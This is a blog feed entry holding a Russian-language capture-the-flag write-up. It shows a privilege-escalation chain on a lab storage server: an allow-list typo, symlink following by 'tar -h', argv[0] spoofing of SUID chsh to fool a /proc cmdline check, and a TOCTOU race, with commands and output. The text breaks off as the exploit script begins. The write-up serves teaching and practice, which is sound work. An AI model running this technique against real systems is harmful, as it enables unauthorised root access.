<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>file</title><author><name>file</name></author><id>https://teletype.in/atom/filepom</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/filepom?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@filepom?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/filepom?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-09-13T18:10:14.984Z</updated><entry><id>filepom:HoneyVault</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/HoneyVault?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Writeup - HoneyVault</title><published>2026-07-27T14:55:33.461Z</published><updated>2026-07-27T14:55:33.461Z</updated><summary type="html">Цель задания:
После получения доступа к серверу хранения HoneyVault под пользователем operator требовалось найти уязвимость в системе администрирования AegisHive Processor и получить содержимое файла:</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;6BZn&quot;&gt;Цель задания:&lt;br /&gt;После получения доступа к серверу хранения HoneyVault под пользователем &lt;code&gt;operator&lt;/code&gt; требовалось найти уязвимость в системе администрирования &lt;strong&gt;AegisHive Processor&lt;/strong&gt; и получить содержимое файла:&lt;/p&gt;
    &lt;pre id=&quot;ZAuj&quot;&gt;/root/flag.txt&lt;/pre&gt;
  &lt;/section&gt;
  &lt;p id=&quot;MCUg&quot;&gt;В результате анализа была обнаружена цепочка из нескольких уязвимостей:&lt;br /&gt;ошибка в списке разрешённых каталогов;&lt;br /&gt;небезопасная проверка доверенного процесса через &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt;;&lt;br /&gt;TOCTOU-гонка между получением PID и проверкой параметров процесса;&lt;br /&gt;использование SUID-программы для временного получения &lt;code&gt;effective UID = 0&lt;/code&gt;;&lt;br /&gt;разыменование символических ссылок командой &lt;code&gt;tar -h&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;1taN&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Подключение к серверу хранения&lt;/h2&gt;
  &lt;p id=&quot;5luP&quot;&gt;&lt;br /&gt;Подключение выполнялось с узла &lt;code&gt;hv-analyst-01&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;KbZ7&quot; data-lang=&quot;bash&quot;&gt;ssh operator@10.0.3.66&lt;/pre&gt;
  &lt;p id=&quot;fZy7&quot;&gt;После ввода пароля был получен доступ к серверу:&lt;/p&gt;
  &lt;pre id=&quot;qigQ&quot; data-lang=&quot;bash&quot;&gt;Linux hv-storage-01 ...
HoneyVault Internal Storage — hv-storage-01&lt;/pre&gt;
  &lt;p id=&quot;29jx&quot;&gt;Проверка текущего пользователя:&lt;/p&gt;
  &lt;pre id=&quot;timI&quot; data-lang=&quot;bash&quot;&gt;id&lt;/pre&gt;
  &lt;p id=&quot;kQtX&quot;&gt;Ожидаемый результат:&lt;/p&gt;
  &lt;pre id=&quot;1uc0&quot;&gt;uid=1000(operator) gid=1000(operator) groups=1000(operator)&lt;/pre&gt;
  &lt;p id=&quot;2C3G&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;kqJm&quot; data-align=&quot;center&quot;&gt;Первичная разведка&lt;/h2&gt;
  &lt;p id=&quot;srVa&quot;&gt;&lt;br /&gt;Было изучено содержимое каталога &lt;code&gt;/data&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;fzlq&quot; data-lang=&quot;bash&quot;&gt;cd /data
ls -la&lt;/pre&gt;
  &lt;p id=&quot;LgoQ&quot;&gt;На сервере присутствовали каталоги:&lt;/p&gt;
  &lt;pre id=&quot;HhIl&quot;&gt;admin
adminsecurity
backup
database
important
logs
prod
security&lt;/pre&gt;
  &lt;p id=&quot;9xTz&quot;&gt;Каталог &lt;code&gt;/data/adminsecurity&lt;/code&gt; был доступен пользователю &lt;code&gt;operator&lt;/code&gt;.&lt;br /&gt;Проверка:&lt;/p&gt;
  &lt;pre id=&quot;UNzj&quot;&gt;ls -la /data/adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;XQvZ&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;R9Eh&quot; data-align=&quot;center&quot;&gt;Анализ запущенных процессов&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;xIL3&quot;&gt;Для определения привилегированных сервисов был просмотрен список процессов:&lt;/p&gt;
  &lt;pre id=&quot;D740&quot; data-lang=&quot;bash&quot;&gt;ps -ef --forest&lt;/pre&gt;
  &lt;p id=&quot;YCjj&quot;&gt;Результат показал, что от имени &lt;code&gt;root&lt;/code&gt; работает Python-процесс:&lt;/p&gt;
  &lt;pre id=&quot;ZVC1&quot;&gt;root  9  8  python3 /opt/aegishive/processor.py&lt;/pre&gt;
  &lt;p id=&quot;8lOY&quot;&gt;Также были запущены:&lt;/p&gt;
  &lt;pre id=&quot;jUD9&quot; data-lang=&quot;bash&quot;&gt;/usr/sbin/smbd
/usr/sbin/sshd&lt;/pre&gt;
  &lt;p id=&quot;tjNN&quot;&gt;Это указывало на то, что основной интерес представляет файл:&lt;/p&gt;
  &lt;pre id=&quot;irxV&quot;&gt;/opt/aegishive/processor.py&lt;/pre&gt;
  &lt;p id=&quot;bVtd&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;m2qF&quot; data-align=&quot;center&quot;&gt;Анализ точки запуска&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;3LtS&quot;&gt;Был изучен файл &lt;code&gt;/entrypoint.sh&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;pg15&quot; data-lang=&quot;bash&quot;&gt;cat /entrypoint.sh&lt;/pre&gt;
  &lt;p id=&quot;M49I&quot;&gt;Содержимое:&lt;/p&gt;
  &lt;pre id=&quot;iH3I&quot; data-lang=&quot;bash&quot;&gt;#!/bin/sh
set -e

python3 /opt/aegishive/processor.py &amp;amp;
/usr/sbin/sshd
exec /usr/sbin/smbd --foreground --no-process-group&lt;/pre&gt;
  &lt;p id=&quot;4GoU&quot;&gt;Таким образом, &lt;code&gt;processor.py&lt;/code&gt; запускается непосредственно из root-процесса контейнера и наследует права &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;e08b&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Поиск связанных компонентов&lt;/h2&gt;
  &lt;p id=&quot;qQpT&quot;&gt;&lt;br /&gt;Для поиска административного клиента, резервного копирования и планировщиков использовалась команда:&lt;/p&gt;
  &lt;pre id=&quot;mYFn&quot; data-lang=&quot;bash&quot;&gt;grep -RniE &amp;#x27;managectl|adminsecurity|backup|scheduler&amp;#x27; \
  /entrypoint.sh /etc/cron* /etc/systemd /opt /usr/local \
  2&amp;gt;/dev/null&lt;/pre&gt;
  &lt;p id=&quot;v8D7&quot;&gt;Среди результатов были обнаружены строки:&lt;/p&gt;
  &lt;pre id=&quot;40yY&quot;&gt;/opt/aegishive/processor.py:13:SOCKET_PATH = &amp;quot;/var/run/managectl.sock&amp;quot;
/opt/aegishive/processor.py:22:    &amp;quot;backup&amp;quot;,
/opt/aegishive/processor.py:26:TRUSTED_CMDLINE_REGEX = r&amp;quot;^(/usr/local/sbin/managectl|managectl) &amp;quot;
/opt/aegishive/processor.py:79:def run_backup(directory):
/opt/aegishive/processor.py:147:    if command == &amp;quot;backup&amp;quot;:&lt;/pre&gt;
  &lt;p id=&quot;TWic&quot;&gt;Это показало, что сервис принимает административные команды через Unix-сокет:&lt;/p&gt;
  &lt;pre id=&quot;d0mS&quot;&gt;/var/run/managectl.sock&lt;/pre&gt;
  &lt;h2 id=&quot;2agv&quot; data-align=&quot;center&quot;&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;edE7&quot; data-align=&quot;center&quot;&gt;Анализ исходного кода AegisHive Processor&lt;/h2&gt;
  &lt;p id=&quot;U9IG&quot;&gt;&lt;br /&gt;Исходный код был прочитан командой:&lt;/p&gt;
  &lt;pre id=&quot;rVVi&quot; data-lang=&quot;bash&quot;&gt;sed -n &amp;#x27;1,240p&amp;#x27; /opt/aegishive/processor.py&lt;/pre&gt;
  &lt;p id=&quot;88VZ&quot;&gt;Ключевые части кода:&lt;/p&gt;
  &lt;pre id=&quot;dH0X&quot; data-lang=&quot;python&quot;&gt;SOCKET_PATH = &amp;quot;/var/run/managectl.sock&amp;quot;
DATA_ROOT = Path(&amp;quot;/data&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;EgL0&quot;&gt;Список разрешённых каталогов:&lt;/p&gt;
  &lt;pre id=&quot;6Kjs&quot; data-lang=&quot;python&quot;&gt;ALLOWED_DIRECTORIES = [
    &amp;quot;prod&amp;quot;,
    &amp;quot;admin&amp;quot;
    &amp;quot;security&amp;quot;,
    &amp;quot;database&amp;quot;,
    &amp;quot;important&amp;quot;,
    &amp;quot;backup&amp;quot;,
    &amp;quot;logs&amp;quot;
]&lt;/pre&gt;
  &lt;p id=&quot;CwYr&quot;&gt;Проверка доверенного процесса:&lt;/p&gt;
  &lt;pre id=&quot;LSix&quot; data-lang=&quot;python&quot;&gt;TRUSTED_CMDLINE_REGEX = r&amp;quot;^(/usr/local/sbin/managectl|managectl) &amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;e9SC&quot;&gt;Получение PID клиента:&lt;/p&gt;
  &lt;pre id=&quot;FZ9Y&quot; data-lang=&quot;python&quot;&gt;def get_peer_pid(sock):
    ucred_size = struct.calcsize(&amp;quot;3I&amp;quot;)
    creds = sock.getsockopt(
        socket.SOL_SOCKET,
        socket.SO_PEERCRED,
        ucred_size
    )
    pid = struct.unpack(&amp;quot;I&amp;quot;, creds[:4])[0]
    return pid&lt;/pre&gt;
  &lt;p id=&quot;MpBj&quot;&gt;Чтение командной строки процесса:&lt;/p&gt;
  &lt;pre id=&quot;SFJJ&quot; data-lang=&quot;python&quot;&gt;def get_process_cmdline(pid):
    with open(f&amp;quot;/proc/{pid}/cmdline&amp;quot;, &amp;quot;rb&amp;quot;) as f:
        return (
            f.read()
            .replace(b&amp;quot;\0&amp;quot;, b&amp;quot; &amp;quot;)
            .decode(errors=&amp;quot;replace&amp;quot;)
            .strip()
        )&lt;/pre&gt;
  &lt;p id=&quot;KYyK&quot;&gt;Чтение UID процесса:&lt;/p&gt;
  &lt;pre id=&quot;nVxJ&quot; data-lang=&quot;python&quot;&gt;def get_process_uids(pid):
    with open(f&amp;quot;/proc/{pid}/status&amp;quot;, &amp;quot;r&amp;quot;) as f:
        for line in f:
            if match := re.match(
                r&amp;quot;^Uid:\s+(\d+)\s+(\d+)&amp;quot;,
                line
            ):
                ruid = int(match.group(1))
                euid = int(match.group(2))
                return ruid, euid&lt;/pre&gt;
  &lt;p id=&quot;GGbr&quot;&gt;Проверка прав:&lt;/p&gt;
  &lt;pre id=&quot;dtaY&quot; data-lang=&quot;python&quot;&gt;def check_permissions(pid):
    cmdline = get_process_cmdline(pid)

    if not re.match(TRUSTED_CMDLINE_REGEX, cmdline):
        return False, &amp;quot;untrusted process name&amp;quot;

    ruid, euid = get_process_uids(pid)

    ...

    if rusername != &amp;quot;root&amp;quot; and eusername != &amp;quot;root&amp;quot;:
        return False, f&amp;quot;uid {euid} ({eusername}) denied&amp;quot;

    return True, &amp;quot;ok&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;U88o&quot;&gt;Резервное копирование:&lt;/p&gt;
  &lt;pre id=&quot;Xy2n&quot; data-lang=&quot;python&quot;&gt;result = subprocess.run(
    [
        &amp;quot;tar&amp;quot;,
        &amp;quot;-chf&amp;quot;,
        str(archive),
        &amp;quot;-C&amp;quot;,
        str(DATA_ROOT),
        directory
    ],
    capture_output=True,
    text=True,
)&lt;/pre&gt;
  &lt;h2 id=&quot;yimH&quot; data-align=&quot;center&quot;&gt;&lt;/h2&gt;
  &lt;h2 id=&quot;XRjp&quot; data-align=&quot;center&quot;&gt;Первая уязвимость: неявная конкатенация строк&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;EOxz&quot;&gt;В списке разрешённых каталогов отсутствует запятая между строками:&lt;/p&gt;
  &lt;pre id=&quot;W7a3&quot; data-lang=&quot;python&quot;&gt;&amp;quot;admin&amp;quot;
&amp;quot;security&amp;quot;,&lt;/pre&gt;
  &lt;p id=&quot;2L5M&quot;&gt;В Python соседние строковые литералы автоматически объединяются:&lt;/p&gt;
  &lt;pre id=&quot;afXs&quot; data-lang=&quot;python&quot;&gt;&amp;quot;admin&amp;quot; &amp;quot;security&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;pMgf&quot;&gt;превращается в:&lt;/p&gt;
  &lt;pre id=&quot;rf3B&quot; data-lang=&quot;python&quot;&gt;&amp;quot;adminsecurity&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;P3Za&quot;&gt;Фактический список разрешённых каталогов содержит:&lt;/p&gt;
  &lt;pre id=&quot;edrA&quot;&gt;prod
adminsecurity
database
important
backup
logs&lt;/pre&gt;
  &lt;p id=&quot;6fL9&quot;&gt;Следовательно, каталог:&lt;/p&gt;
  &lt;pre id=&quot;ZZtF&quot;&gt;/data/adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;wf2i&quot;&gt;разрешён для резервного копирования.&lt;/p&gt;
  &lt;h2 id=&quot;x9rk&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Вторая уязвимость: разыменование символических ссылок&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;YW7q&quot;&gt;Для создания архива используется команда:&lt;/p&gt;
  &lt;pre id=&quot;f9jw&quot; data-lang=&quot;bash&quot;&gt;tar -chf&lt;/pre&gt;
  &lt;p id=&quot;eAXX&quot;&gt;Параметр:&lt;/p&gt;
  &lt;pre id=&quot;StM1&quot;&gt;-h&lt;/pre&gt;
  &lt;p id=&quot;cpw5&quot;&gt;означает:&lt;/p&gt;
  &lt;pre id=&quot;agPy&quot;&gt;follow symbolic links&lt;/pre&gt;
  &lt;p id=&quot;SJGk&quot;&gt;То есть &lt;code&gt;tar&lt;/code&gt; помещает в архив не саму символическую ссылку, а содержимое файла, на который она указывает.&lt;br /&gt;Пользователь &lt;code&gt;operator&lt;/code&gt; мог создавать файлы внутри &lt;code&gt;/data/adminsecurity&lt;/code&gt;.&lt;br /&gt;Поэтому была создана ссылка:&lt;/p&gt;
  &lt;pre id=&quot;QkAL&quot; data-lang=&quot;bash&quot;&gt;mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;2oE9&quot;&gt;Проверка:&lt;/p&gt;
  &lt;pre id=&quot;0se7&quot; data-lang=&quot;bash&quot;&gt;ls -la /data/adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;423h&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;NfzH&quot;&gt;lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -&amp;gt; /root/flag.txt&lt;/pre&gt;
  &lt;p id=&quot;JUkx&quot;&gt;Если root-сервис выполнит резервное копирование этого каталога, &lt;code&gt;tar -h&lt;/code&gt; прочитает &lt;code&gt;/root/flag.txt&lt;/code&gt; с правами root и поместит его содержимое в архив.&lt;/p&gt;
  &lt;p id=&quot;UPts&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;EQqd&quot; data-align=&quot;center&quot;&gt;Проверка прямого обращения к сокету&lt;/h2&gt;
  &lt;p id=&quot;PaV7&quot;&gt;&lt;br /&gt;Была предпринята попытка отправить команду напрямую через Python:&lt;/p&gt;
  &lt;pre id=&quot;OqNm&quot; data-lang=&quot;python&quot;&gt;python3 - &amp;lt;&amp;lt;&amp;#x27;PY&amp;#x27;
import socket

path = &amp;quot;/var/run/managectl.sock&amp;quot;

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
s.sendall(b&amp;quot;help\n&amp;quot;)
s.shutdown(socket.SHUT_WR)

while True:
    data = s.recv(4096)
    if not data:
        break
    print(data.decode(errors=&amp;quot;replace&amp;quot;), end=&amp;quot;&amp;quot;)
PY&lt;/pre&gt;
  &lt;p id=&quot;rbtJ&quot;&gt;Ответ:&lt;/p&gt;
  &lt;pre id=&quot;VohD&quot;&gt;{&amp;quot;ok&amp;quot;: false, &amp;quot;error&amp;quot;: &amp;quot;untrusted process name&amp;quot;}&lt;/pre&gt;
  &lt;p id=&quot;5kvr&quot;&gt;Причина заключалась в том, что командная строка клиента начиналась с &lt;code&gt;python3&lt;/code&gt;, а сервис разрешал только процессы, начинающиеся с:&lt;/p&gt;
  &lt;pre id=&quot;E48Q&quot;&gt;/usr/local/sbin/managectl&lt;/pre&gt;
  &lt;p id=&quot;mH6V&quot;&gt;или:&lt;/p&gt;
  &lt;pre id=&quot;R7T9&quot;&gt;managectl&lt;/pre&gt;
  &lt;p id=&quot;Czdc&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;MeRH&quot; data-align=&quot;center&quot;&gt;Анализ административного клиента&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;vUOF&quot;&gt;Был найден клиент:&lt;/p&gt;
  &lt;pre id=&quot;ah8O&quot; data-lang=&quot;bash&quot;&gt;ls -la /usr/local/sbin/managectl&lt;/pre&gt;
  &lt;p id=&quot;sMqd&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;ZGPP&quot;&gt;-rwxr-xr-x 1 root root 3328054 Jul 15 22:51 /usr/local/sbin/managectl&lt;/pre&gt;
  &lt;p id=&quot;WPNQ&quot;&gt;Попытка запуска:&lt;/p&gt;
  &lt;pre id=&quot;nnAA&quot; data-lang=&quot;bash&quot;&gt;/usr/local/sbin/managectl backup adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;bfGO&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;1lpH&quot;&gt;managectl: uid 1000 (operator) denied&lt;/pre&gt;
  &lt;p id=&quot;qbnz&quot;&gt;Это означало, что проверка имени процесса была успешно пройдена, но клиент работал с UID пользователя &lt;code&gt;operator&lt;/code&gt;.&lt;/p&gt;
  &lt;h2 id=&quot;mpEO&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Проверка SUID и capabilities&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;yhy2&quot;&gt;Проверка capabilities:&lt;/p&gt;
  &lt;pre id=&quot;hvUJ&quot; data-lang=&quot;bash&quot;&gt;getcap /usr/local/sbin/managectl 2&amp;gt;/dev/null&lt;/pre&gt;
  &lt;p id=&quot;rLYU&quot;&gt;Результат отсутствовал.&lt;br /&gt;Проверка атрибутов файла:&lt;/p&gt;
  &lt;pre id=&quot;jSpm&quot; data-lang=&quot;bash&quot;&gt;stat /usr/local/sbin/managectl&lt;/pre&gt;
  &lt;p id=&quot;i1jy&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;kcYh&quot;&gt;Access: (0755/-rwxr-xr-x)
Uid: (0/root)
Gid: (0/root)&lt;/pre&gt;
  &lt;p id=&quot;Z0gs&quot;&gt;Файл не имел SUID-бита.&lt;br /&gt;Далее был выполнен поиск SUID-файлов:&lt;/p&gt;
  &lt;pre id=&quot;ffHJ&quot; data-lang=&quot;bash&quot;&gt;find / -perm -4000 -type f -ls 2&amp;gt;/dev/null&lt;/pre&gt;
  &lt;p id=&quot;WqU2&quot;&gt;Среди прочего были обнаружены:&lt;/p&gt;
  &lt;pre id=&quot;N8ij&quot;&gt;/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo&lt;/pre&gt;
  &lt;p id=&quot;to2T&quot;&gt;Особый интерес представляли SUID-root программы:&lt;/p&gt;
  &lt;pre id=&quot;BtUs&quot;&gt;/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/su&lt;/pre&gt;
  &lt;p id=&quot;xjDl&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;tYvM&quot; data-align=&quot;center&quot;&gt;Третья уязвимость: доверие к &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt;&lt;/h2&gt;
  &lt;p id=&quot;3efl&quot;&gt;&lt;br /&gt;Сервис проверял не реальный исполняемый файл процесса, а только:&lt;/p&gt;
  &lt;pre id=&quot;Q7zX&quot;&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/pre&gt;
  &lt;p id=&quot;0c0p&quot;&gt;Значение &lt;code&gt;argv[0]&lt;/code&gt; может контролироваться вызывающим процессом.&lt;br /&gt;Например, при использовании &lt;code&gt;execve()&lt;/code&gt; можно запустить &lt;code&gt;/usr/bin/chsh&lt;/code&gt;, но указать в &lt;code&gt;argv[0]&lt;/code&gt; строку:&lt;/p&gt;
  &lt;pre id=&quot;amxO&quot;&gt;managectl&lt;/pre&gt;
  &lt;p id=&quot;nvwk&quot;&gt;В результате реальным исполняемым файлом будет:&lt;/p&gt;
  &lt;pre id=&quot;mRr7&quot;&gt;/usr/bin/chsh&lt;/pre&gt;
  &lt;p id=&quot;ljl2&quot;&gt;но &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt; будет начинаться с:&lt;/p&gt;
  &lt;pre id=&quot;aR7P&quot;&gt;managectl &lt;/pre&gt;
  &lt;p id=&quot;c1Vb&quot;&gt;и удовлетворять регулярному выражению:&lt;/p&gt;
  &lt;pre id=&quot;iCst&quot;&gt;r&amp;quot;^(/usr/local/sbin/managectl|managectl) &amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;3Guo&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;El8I&quot; data-align=&quot;center&quot;&gt;Четвёртая уязвимость: TOCTOU-гонка&lt;/h2&gt;
  &lt;p id=&quot;TA7m&quot;&gt;&lt;br /&gt;Сервис выполнял действия последовательно:&lt;/p&gt;
  &lt;pre id=&quot;9cYF&quot;&gt;pid = get_peer_pid(conn)
allowed, msg = check_permissions(pid)&lt;/pre&gt;
  &lt;p id=&quot;BKEW&quot;&gt;Внутри &lt;code&gt;check_permissions()&lt;/code&gt; сначала читалась командная строка:&lt;/p&gt;
  &lt;pre id=&quot;4SJN&quot;&gt;cmdline = get_process_cmdline(pid)&lt;/pre&gt;
  &lt;p id=&quot;0hV6&quot;&gt;а затем UID:&lt;/p&gt;
  &lt;pre id=&quot;SEeo&quot;&gt;ruid, euid = get_process_uids(pid)&lt;/pre&gt;
  &lt;p id=&quot;7jd2&quot;&gt;Между подключением клиента, получением PID и чтением &lt;code&gt;/proc/&amp;lt;pid&amp;gt;&lt;/code&gt; существовало окно гонки.&lt;br /&gt;Клиент мог:&lt;/p&gt;
  &lt;ul id=&quot;cUgQ&quot;&gt;
    &lt;li id=&quot;fPNc&quot;&gt;подключиться к сокету как обычный Python-процесс;&lt;/li&gt;
    &lt;li id=&quot;Ysp0&quot;&gt;отправить команду &lt;code&gt;backup adminsecurity&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;XzRw&quot;&gt;выполнить &lt;code&gt;execve()&lt;/code&gt; SUID-root программы;&lt;/li&gt;
    &lt;li id=&quot;XfKo&quot;&gt;заменить &lt;code&gt;argv[0]&lt;/code&gt; на &lt;code&gt;managectl &lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;Ezx4&quot;&gt;временно получить &lt;code&gt;effective UID = 0&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h2 id=&quot;a78k&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Подтверждение поведения SUID-программы&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;2npk&quot;&gt;Для подтверждения был запущен тест:&lt;/p&gt;
  &lt;pre id=&quot;WYgx&quot; data-lang=&quot;python&quot;&gt;python3 -c &amp;#x27;
import os
os.execv(
    &amp;quot;/usr/bin/chsh&amp;quot;,
    [&amp;quot;managectl &amp;quot;, &amp;quot;operator&amp;quot;]
)
&amp;#x27; &amp;amp;

PID=$!

for i in $(seq 1 100); do
    [ -r &amp;quot;/proc/$PID/status&amp;quot; ] || break

    echo -n &amp;quot;cmdline: &amp;quot;
    tr &amp;quot;\0&amp;quot; &amp;quot; &amp;quot; &amp;lt; &amp;quot;/proc/$PID/cmdline&amp;quot;
    echo

    grep &amp;quot;^Uid:&amp;quot; &amp;quot;/proc/$PID/status&amp;quot;
done&lt;/pre&gt;
  &lt;p id=&quot;Ua2j&quot;&gt;В определённый момент был получен результат:&lt;/p&gt;
  &lt;pre id=&quot;Koor&quot;&gt;cmdline: managectl  operator
Uid:    1000    0    0    0&lt;/pre&gt;
  &lt;p id=&quot;iUKr&quot;&gt;Формат строки &lt;code&gt;Uid&lt;/code&gt; в &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/status&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;GB0X&quot;&gt;Real UID
Effective UID
Saved set UID
Filesystem UID&lt;/pre&gt;
  &lt;p id=&quot;1uuC&quot;&gt;Следовательно:&lt;/p&gt;
  &lt;pre id=&quot;18gt&quot;&gt;ruid = 1000
euid = 0&lt;/pre&gt;
  &lt;p id=&quot;umlS&quot;&gt;Проверка AegisHive Processor считала такой процесс разрешённым, поскольку условие было:&lt;/p&gt;
  &lt;pre id=&quot;vHTa&quot; data-lang=&quot;python&quot;&gt;if rusername != &amp;quot;root&amp;quot; and eusername != &amp;quot;root&amp;quot;:
    deny&lt;/pre&gt;
  &lt;p id=&quot;G8ja&quot;&gt;При &lt;code&gt;euid = 0&lt;/code&gt; процесс принимался как root-процесс.&lt;br /&gt;15. Подготовка эксплуатации&lt;br /&gt;Сначала были остановлены оставшиеся тестовые процессы:&lt;/p&gt;
  &lt;pre id=&quot;sjRb&quot; data-lang=&quot;bash&quot;&gt;pkill -9 -u operator chsh 2&amp;gt;/dev/null
pkill -9 -u operator chfn 2&amp;gt;/dev/null
pkill -9 -u operator passwd 2&amp;gt;/dev/null&lt;/pre&gt;
  &lt;p id=&quot;XRih&quot;&gt;Затем был восстановлен каталог и символическая ссылка:&lt;/p&gt;
  &lt;pre id=&quot;0zv9&quot; data-lang=&quot;bash&quot;&gt;mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;TpH4&quot;&gt;Проверка:&lt;/p&gt;
  &lt;pre id=&quot;mioa&quot; data-lang=&quot;bash&quot;&gt;ls -la /data/adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;Lett&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;lsiA&quot;&gt;total 0
drwxr-xr-x 2 operator operator 35 Jul 19 13:10 .
drwxrwxrwt 1 root     root     35 Jul 19 13:10 ..
lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -&amp;gt; /root/flag.txt&lt;/pre&gt;
  &lt;p id=&quot;SD6f&quot;&gt;Старые архивы были удалены:&lt;/p&gt;
  &lt;pre id=&quot;EtDJ&quot; data-lang=&quot;bash&quot;&gt;rm -f /data/backup/adminsecurity-*.tar&lt;/pre&gt;
  &lt;p id=&quot;2xce&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;GvPw&quot; data-align=&quot;center&quot;&gt;Эксплуатационный скрипт&lt;br /&gt;&lt;/h2&gt;
  &lt;p id=&quot;af20&quot;&gt;Для надёжной эксплуатации использовался Python-скрипт с псевдотерминалом.&lt;br /&gt;PTY позволял SUID-программе &lt;code&gt;chsh&lt;/code&gt; дольше находиться в состоянии, в котором:&lt;/p&gt;
  &lt;pre id=&quot;wddW&quot;&gt;cmdline начинается с managectl
euid равен 0&lt;/pre&gt;
  &lt;p id=&quot;Nf0U&quot;&gt;Скрипт был создан через Base64, чтобы избежать повреждения форматирования при вставке в терминал:&lt;/p&gt;
  &lt;pre id=&quot;wdoR&quot; data-lang=&quot;bash&quot;&gt;echo 